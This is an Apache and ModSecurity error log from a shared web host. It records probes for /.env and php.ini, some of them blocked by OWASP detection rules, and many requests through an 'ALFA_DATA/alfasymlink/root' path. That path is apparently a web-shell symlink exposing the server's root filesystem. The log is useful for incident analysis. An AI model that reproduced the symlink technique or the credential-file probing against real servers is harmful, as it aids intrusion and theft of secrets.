[Sun Oct 25 19:32:20.458618 2026] [core:error] [pid 2922276:tid 2922276] (13)Permission denied: [client 16.216.88.232:4096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/named.localhost
[Sun Oct 25 19:32:22.153825 2026] [ssl:error] [pid 2921098:tid 2921098] (70014)End of file found: [client 34.233.114.237:25436] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:32:26.171237 2026] [ssl:error] [pid 2918165:tid 2918165] (70014)End of file found: [client 34.202.88.37:65218] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:32:30.156533 2026] [ssl:error] [pid 2922630:tid 2922630] (70014)End of file found: [client 34.194.165.45:55633] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:32:32.653695 2026] [security2:error] [pid 2922276:tid 2922276] [client 64.89.161.85:52198] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6RkDryoXFT7zIzJmwhpQAAABE"]
[Sun Oct 25 19:32:32.653944 2026] [security2:error] [pid 2922276:tid 2922276] [client 64.89.161.85:52198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6RkDryoXFT7zIzJmwhpQAAABE"]
[Sun Oct 25 19:32:32.654246 2026] [security2:error] [pid 2922276:tid 2922276] [client 64.89.161.85:52198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6RkDryoXFT7zIzJmwhpQAAABE"]
[Sun Oct 25 19:32:32.659722 2026] [security2:error] [pid 2910679:tid 2910679] [client 64.89.161.85:52214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6RkNY9M16TKcRp9n2eIAAAAAQ"]
[Sun Oct 25 19:32:32.659968 2026] [security2:error] [pid 2910679:tid 2910679] [client 64.89.161.85:52214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6RkNY9M16TKcRp9n2eIAAAAAQ"]
[Sun Oct 25 19:32:32.660240 2026] [security2:error] [pid 2910679:tid 2910679] [client 64.89.161.85:52214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6RkNY9M16TKcRp9n2eIAAAAAQ"]
[Sun Oct 25 19:32:35.336466 2026] [ssl:error] [pid 2922276:tid 2922276] (70014)End of file found: [client 52.71.46.142:5740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:32:36.515594 2026] [core:error] [pid 2922630:tid 2922630] (13)Permission denied: [client 213.186.152.205:3956] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/objects_partial
[Sun Oct 25 19:32:38.923465 2026] [core:error] [pid 2922863:tid 2922863] (13)Permission denied: [client 38.66.206.21:35810] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/objects_partial
[Sun Oct 25 19:32:41.052556 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 73.233.40.86:58677] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/objects_partial
[Sun Oct 25 19:32:41.374606 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 46.59.219.221:65112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/hwcache_align
[Sun Oct 25 19:32:43.316468 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 45.174.43.208:19175] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/hwcache_align
[Sun Oct 25 19:32:46.163508 2026] [ssl:error] [pid 2922860:tid 2922860] (70014)End of file found: [client 3.81.253.213:47978] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:32:58.382881 2026] [security2:error] [pid 2922285:tid 2922285] [client 107.172.76.131:49332] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6RnEZ49PyiKUODFuf13wAAABI"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 19:32:58.382971 2026] [security2:error] [pid 2922285:tid 2922285] [client 107.172.76.131:49332] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6RnEZ49PyiKUODFuf13wAAABI"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 19:33:02.158208 2026] [ssl:error] [pid 2922860:tid 2922860] (70014)End of file found: [client 23.23.99.55:47086] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:33:03.748153 2026] [core:error] [pid 2922858:tid 2922858] (13)Permission denied: [client 136.58.96.237:57133] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/slab_size
[Sun Oct 25 19:33:06.111201 2026] [core:error] [pid 2922325:tid 2922325] (13)Permission denied: [client 45.184.194.37:2125] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/slab_size
[Sun Oct 25 19:33:08.301989 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 186.177.188.45:13488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/slab_size
[Sun Oct 25 19:33:10.145272 2026] [ssl:error] [pid 2922855:tid 2922855] (5)Input/output error: [client 52.200.142.199:14982] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:33:20.032264 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 185.191.171.7:27280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sigqueue/alloc_calls
[Sun Oct 25 19:33:26.148986 2026] [ssl:error] [pid 2920879:tid 2920879] (70014)End of file found: [client 52.6.232.201:30143] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:33:30.177424 2026] [ssl:error] [pid 2922855:tid 2922855] (70014)End of file found: [client 3.210.114.189:53029] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:33:42.337690 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 3.213.46.222:47732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ptmx/subsystem/console/subsystem/ttyS3/closing_wait
[Sun Oct 25 19:33:50.144904 2026] [ssl:error] [pid 2922860:tid 2922860] (70014)End of file found: [client 54.164.106.236:61213] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:33:58.156013 2026] [ssl:error] [pid 2922325:tid 2922325] (70014)End of file found: [client 54.225.81.20:40423] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:33:58.917389 2026] [core:error] [pid 2920879:tid 2920879] (13)Permission denied: [client 85.208.96.193:21418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/slabs_cpu_partial
[Sun Oct 25 19:34:05.586721 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 190.83.116.17:45241] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 19:34:09.086727 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 203.221.53.253:42055] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 19:34:10.257353 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 3.220.148.166:41843] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:34:11.566104 2026] [core:error] [pid 2922860:tid 2922860] (13)Permission denied: [client 99.102.28.163:45357] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 19:34:14.159603 2026] [ssl:error] [pid 2922325:tid 2922325] (70014)End of file found: [client 34.224.9.144:41425] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:34:26.300916 2026] [ssl:error] [pid 2922860:tid 2922860] (70014)End of file found: [client 54.152.163.42:55072] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:34:30.248843 2026] [ssl:error] [pid 2920879:tid 2920879] (70014)End of file found: [client 52.4.229.9:39169] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:34:34.251855 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 34.225.24.180:50201] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/slab/iommu_iova/trace
[Sun Oct 25 19:34:36.955175 2026] [authz_core:error] [pid 2922867:tid 2922867] [client 45.198.224.125:50492] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 19:34:38.141830 2026] [ssl:error] [pid 2922860:tid 2922860] (70014)End of file found: [client 100.28.133.214:34443] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:34:42.144075 2026] [ssl:error] [pid 2920879:tid 2920879] (70014)End of file found: [client 3.232.39.98:49148] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:34:58.149289 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 98.83.10.183:44909] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/subsystem/uevent
[Sun Oct 25 19:35:02.142061 2026] [core:error] [pid 2920879:tid 2920879] (13)Permission denied: [client 44.215.210.112:32916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/crash_notes_size
[Sun Oct 25 19:35:06.126082 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 18.232.11.247:37897] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:35:10.146638 2026] [ssl:error] [pid 2920879:tid 2920879] (70014)End of file found: [client 3.229.2.217:13937] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:35:14.233992 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 3.93.98.99:55898] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:35:27.890535 2026] [core:error] [pid 2922630:tid 2922630] (13)Permission denied: [client 82.86.128.132:19124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/destroy_by_rcu
[Sun Oct 25 19:35:32.956031 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 196.41.204.172:59959] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/destroy_by_rcu
[Sun Oct 25 19:35:35.077222 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 81.245.101.229:33338] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/destroy_by_rcu
[Sun Oct 25 19:35:45.613484 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 85.208.96.200:11850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/poison
[Sun Oct 25 19:35:46.171155 2026] [proxy_fcgi:error] [pid 2922630:tid 2922630] [client 52.1.157.90:9406] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 19:35:56.827108 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 179.52.135.225:38761] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/slabs_cpu_partial
[Sun Oct 25 19:35:59.139371 2026] [core:error] [pid 2922630:tid 2922630] (13)Permission denied: [client 186.54.76.184:42522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/slabs_cpu_partial
[Sun Oct 25 19:36:00.829389 2026] [core:error] [pid 2922860:tid 2922860] (13)Permission denied: [client 99.105.16.23:35142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/slabs_cpu_partial
[Sun Oct 25 19:36:02.153826 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 52.0.63.151:41496] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/device/tty/ttyS1/closing_wait
[Sun Oct 25 19:36:09.196331 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 190.108.205.10:40652] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/cpu_partial
[Sun Oct 25 19:36:11.624973 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 105.107.109.93:47374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/cpu_partial
[Sun Oct 25 19:36:13.543413 2026] [core:error] [pid 2922860:tid 2922860] (13)Permission denied: [client 177.248.18.173:15658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/cpu_partial
[Sun Oct 25 19:36:17.212373 2026] [core:error] [pid 2922325:tid 2922325] (13)Permission denied: [client 216.169.137.50:36195] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/remote_node_defrag_ratio
[Sun Oct 25 19:36:18.147988 2026] [ssl:error] [pid 2920879:tid 2920879] (5)Input/output error: [client 54.166.104.83:64851] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:36:18.609313 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 196.127.86.210:37608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/cpu_partial
[Sun Oct 25 19:36:20.162465 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 41.242.161.220:59273] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/remote_node_defrag_ratio
[Sun Oct 25 19:36:22.144298 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 44.215.61.66:23367] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:36:22.207579 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 172.56.124.97:1228] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/remote_node_defrag_ratio
[Sun Oct 25 19:36:22.933095 2026] [core:error] [pid 2922860:tid 2922860] (13)Permission denied: [client 185.91.123.20:50349] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/cpu_partial
[Sun Oct 25 19:36:24.982203 2026] [core:error] [pid 2922630:tid 2922630] (13)Permission denied: [client 104.218.172.86:59727] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/cpu_partial
[Sun Oct 25 19:36:25.223761 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 76.36.104.26:10845] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/total_objects
[Sun Oct 25 19:36:27.147196 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 177.227.198.149:10094] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/total_objects
[Sun Oct 25 19:36:29.062775 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 79.127.185.3:60804] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/total_objects
[Sun Oct 25 19:36:30.236855 2026] [ssl:error] [pid 2922630:tid 2922630] (70014)End of file found: [client 54.84.93.8:63160] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:36:38.144174 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 44.218.6.93:23834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory1/subsystem/drivers_probe
[Sun Oct 25 19:36:42.718741 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 185.191.171.7:39262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/store_user
[Sun Oct 25 19:36:46.162245 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 52.205.113.104:49093] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:36:54.193363 2026] [ssl:error] [pid 2922855:tid 2922855] (70014)End of file found: [client 35.174.253.85:58637] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:36:58.167672 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 44.215.61.66:20595] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:37:04.778053 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 85.208.96.204:12296] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/shrink
[Sun Oct 25 19:37:18.148631 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 3.93.211.16:2657] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:37:18.657987 2026] [ssl:error] [pid 2922856:tid 2922856] (70014)End of file found: [client 85.208.96.209:24528] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:37:22.157570 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 54.235.125.129:41257] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:37:26.233108 2026] [core:error] [pid 2922630:tid 2922630] (13)Permission denied: [client 100.28.49.152:23897] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:18/subsystem/uevent
[Sun Oct 25 19:37:33.337031 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 97.151.238.178:47015] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/sanity_checks
[Sun Oct 25 19:37:34.785838 2026] [core:error] [pid 2922325:tid 2922325] (13)Permission denied: [client 216.247.87.204:21441] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/sanity_checks
[Sun Oct 25 19:37:37.314590 2026] [core:error] [pid 2922860:tid 2922860] (13)Permission denied: [client 41.96.138.15:35082] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/sanity_checks
[Sun Oct 25 19:37:50.159925 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 98.83.178.66:44584] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:37:54.176017 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 71.194.166.71:43423] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/total_objects
[Sun Oct 25 19:37:56.633956 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 105.78.64.176:6824] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/total_objects
[Sun Oct 25 19:37:58.140701 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 54.204.12.115:17327] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:37:58.450243 2026] [core:error] [pid 2920879:tid 2920879] (13)Permission denied: [client 47.150.172.140:58557] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/total_objects
[Sun Oct 25 19:38:02.132054 2026] [ssl:error] [pid 2922856:tid 2922856] (70014)End of file found: [client 18.213.102.186:23555] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:38:04.659936 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 172.56.69.244:49177] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/validate
[Sun Oct 25 19:38:06.321788 2026] [ssl:error] [pid 2920879:tid 2920879] (70014)End of file found: [client 44.216.172.204:49630] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:38:07.156463 2026] [core:error] [pid 2922325:tid 2922325] (13)Permission denied: [client 181.115.120.73:60095] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/validate
[Sun Oct 25 19:38:14.143055 2026] [ssl:error] [pid 2920879:tid 2920879] (70014)End of file found: [client 44.206.65.8:14444] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:38:16.190838 2026] [core:error] [pid 2922325:tid 2922325] (13)Permission denied: [client 190.97.226.108:57472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/hwcache_align
[Sun Oct 25 19:38:20.408707 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 190.204.113.218:53892] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/hwcache_align
[Sun Oct 25 19:38:22.177600 2026] [ssl:error] [pid 2922865:tid 2922865] (70014)End of file found: [client 3.213.106.226:29462] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:38:23.255714 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 177.185.20.96:41404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/hwcache_align
[Sun Oct 25 19:38:34.182336 2026] [ssl:error] [pid 2922325:tid 2922325] (70014)End of file found: [client 52.203.65.83:35595] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:38:38.144987 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 52.202.52.82:31202] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:38:42.189011 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 100.28.118.16:5462] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:38:46.224372 2026] [core:error] [pid 2922325:tid 2922325] (13)Permission denied: [client 216.151.180.27:52484] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 19:38:48.504172 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 38.61.207.108:34878] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 19:38:50.696637 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 136.175.72.17:50992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 19:38:54.128685 2026] [ssl:error] [pid 2922325:tid 2922325] (70014)End of file found: [client 52.203.237.170:10498] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:39:06.158972 2026] [ssl:error] [pid 2922856:tid 2922856] (70014)End of file found: [client 3.81.253.213:51454] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:39:14.981575 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 178.16.0.209:55047] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/slabs_cpu_partial
[Sun Oct 25 19:39:17.553561 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 179.125.138.206:31424] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/slabs_cpu_partial
[Sun Oct 25 19:39:18.322434 2026] [core:error] [pid 2923347:tid 2923347] (13)Permission denied: [client 45.4.56.107:21803] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/total_objects
[Sun Oct 25 19:39:20.344505 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 189.239.218.190:10595] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/total_objects
[Sun Oct 25 19:39:20.951672 2026] [core:error] [pid 2922325:tid 2922325] (13)Permission denied: [client 99.244.225.54:53507] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/slabs_cpu_partial
